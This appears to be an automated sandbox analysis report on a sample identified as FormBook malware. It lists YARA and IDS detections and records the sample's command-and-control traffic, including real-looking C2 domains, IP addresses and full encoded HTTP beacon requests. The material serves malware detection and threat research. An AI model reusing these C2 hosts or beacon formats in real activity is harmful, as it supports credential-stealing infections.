Windows Analysis Report
N2Qncau2rN.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: N2Qncau2rN.exe

Joe Sandbox ML: detected

Source: N2Qncau2rN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: auuGcaPMTDojV.exe, 00000003.00000000.1802625939.0000000000A0E000.00000002.00000001.01000000.00000004.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4125799190.0000000000A0E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: N2Qncau2rN.exe, 00000000.00000003.1657483680.0000000004690000.00000004.00001000.00020000.00000000.sdmp, N2Qncau2rN.exe, 00000000.00000003.1659461075.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1888606997.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1785147049.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1787099857.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1888606997.000000000359E000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129055443.0000000002DCE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1889918613.0000000002A85000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1885758983.00000000028BC000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129055443.0000000002C30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdbGCTL source: svchost.exe, 00000002.00000003.1850301385.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1850352705.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000003.2198579685.00000000007DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: N2Qncau2rN.exe, 00000000.00000003.1657483680.0000000004690000.00000004.00001000.00020000.00000000.sdmp, N2Qncau2rN.exe, 00000000.00000003.1659461075.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1888606997.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1785147049.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1787099857.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1888606997.000000000359E000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, RpcPing.exe, 00000005.00000002.4129055443.0000000002DCE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1889918613.0000000002A85000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1885758983.00000000028BC000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129055443.0000000002C30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdb source: svchost.exe, 00000002.00000003.1850301385.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1850352705.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000003.2198579685.00000000007DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RpcPing.exe, 00000005.00000002.4129603004.000000000325C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4127083272.00000000027C2000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185961069.000000000D58C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RpcPing.exe, 00000005.00000002.4129603004.000000000325C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4127083272.00000000027C2000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185961069.000000000D58C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0048C4E0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0048C4E0

Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 4x nop then xor eax, eax		5_2_00479B20
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_02B304E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60559 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60552 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60551 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60549 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60549 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60627 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60575 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60575 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60657 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60657 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60611 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60715 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60698 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60728 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60728 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60641 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60679 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60775 -> 203.175.9.128:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60788 -> 203.175.9.128:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60807 -> 203.175.9.128:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60821 -> 203.175.9.128:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60821 -> 203.175.9.128:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60832 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60833 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60835 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60835 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60836 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60837 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60838 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60842 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60843 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60849 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60848 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60843 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60846 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60840 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60852 -> 3.91.127.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60850 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60853 -> 3.91.127.116:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60847 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60847 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60839 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60851 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60844 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60841 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60851 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60839 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60854 -> 3.91.127.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60845 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60855 -> 3.91.127.116:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60855 -> 3.91.127.116:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60857 -> 195.161.68.8:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60856 -> 195.161.68.8:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60859 -> 195.161.68.8:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60859 -> 195.161.68.8:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60871 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60871 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60862 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60858 -> 195.161.68.8:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60867 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60866 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60867 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60860 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60865 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.9:60863 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:60863 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60869 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60870 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60864 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60868 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60861 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:60834 -> 3.33.130.190:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.animekuid.xyz
Source:	DNS query: www.demovix.xyz
Source:	DNS query: www.broomeorchard.xyz

Source: Joe Sandbox View	IP Address: 208.91.197.27 208.91.197.27
Source: Joe Sandbox View	IP Address: 84.32.84.32 84.32.84.32

Source: Joe Sandbox View	ASN Name: POWERLINE-AS-APPOWERLINEDATACENTERHK POWERLINE-AS-APPOWERLINEDATACENTERHK
Source: Joe Sandbox View	ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View	ASN Name: CONFLUENCE-NETWORK-INCVG CONFLUENCE-NETWORK-INCVG
Source: Joe Sandbox View	ASN Name: NTT-LT-ASLT NTT-LT-ASLT

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,

0_2_004422FE

Source: global traffic	HTTP traffic detected: GET /hfue/?WX=rnWllP5PLlhLLtj&tpTd=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+MnekgstTp0z3ZjcP9rk68ek43BHqQDCfcAeg== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.multileveltravel.worldConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /sld7/?tpTd=/serfU6kaxhlkkJx8dOr0qlSRXA+6La0KEB68G6jbYfyT6z2zvVJBFhkOYA104kn6FRHm7lAc7gn2TRu9DlziYvx9tC/5P1WJl131MkdoxRdpo/lsw==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.falconclub.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /abrg/?WX=rnWllP5PLlhLLtj&tpTd=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CH4Whw+Z8K8Lme5ABmnpnJdsWz6g8ww== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.promasterev.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /itly/?tpTd=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouVEB2Caqu0WVs/8KUUJONnONwfAEA0g==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.childlesscatlady.todayConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /7un9/?tpTd=4XOwgplivDvk/EZOubh+oM7E4qBWP2ACvZmroFPOKBmtqB+PCSuAHgoGD1T4VUWf5wIO7JPBcjeVh4zPUWd0ua1JHgAe3g4A1TGkBV6DNuNtOYfRKw==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.animekuid.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /szy7/?tpTd=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2jiKrkd/jwL9iqNrnd9yIGgMT9MzICA==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.doggieradio.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /azuc/?WX=rnWllP5PLlhLLtj&tpTd=IEG0cbQocDdgsf0hXa+uAMZkMIV+L9dmDWmvXBjU8TDCB1WiaKjeRQjMK7ZBG/72TlyV3qB8EHQj0nSZZfMRzC5BhxJ3N2wZ76F+LQzPhJ8EwwRHzQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.demovix.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /bnrz/?tpTd=OQxwzbuOtqgqEYELNcMucZtHnRjB34c8S/VejUlVZtuveUVj7y4E7KtMGd+fy1MLwhM03wpJ8ksC3Umpmq48p+wh68NaozaF8Wex7USlPt5ZhMWe3g==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.palcoconnector.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /b6g5/?tpTd=a8QqMioE13Jt2iPiOClkfJLiI6soJM7xy7KAtya8ruOCNgqe2jC0xyltzPPw7ePD7gDMaG5P8Bx9i7otBFrSmSNv5WmdoflN7m2YOZj8dE3cyj5SIw==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.shanhaiguan.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /n2dv/?tpTd=bOYvUT8qr4FCBQL4q+W2EOsk7MURICY42o+fYfsEfk4vvxNQfURJ5XqGAnjP2wivb2XfCAEuS6lNjanH3pgkh9rgu/pEJ/+PKIa4gq6/Dbg2n2byoA==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.es-lidl.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /eoqq/?tpTd=WfaN7QdSX3VNxg1q9fkfNv4hQq9KYwkNivs6k+R5An5RjxagqDfSiLpQ7QxvwrMnBdqTEtPHhZ8GpglWyWgxMX7+0Hc5PxIPKPsdiKxnaB1g3ZY6yQ==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.wajf.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
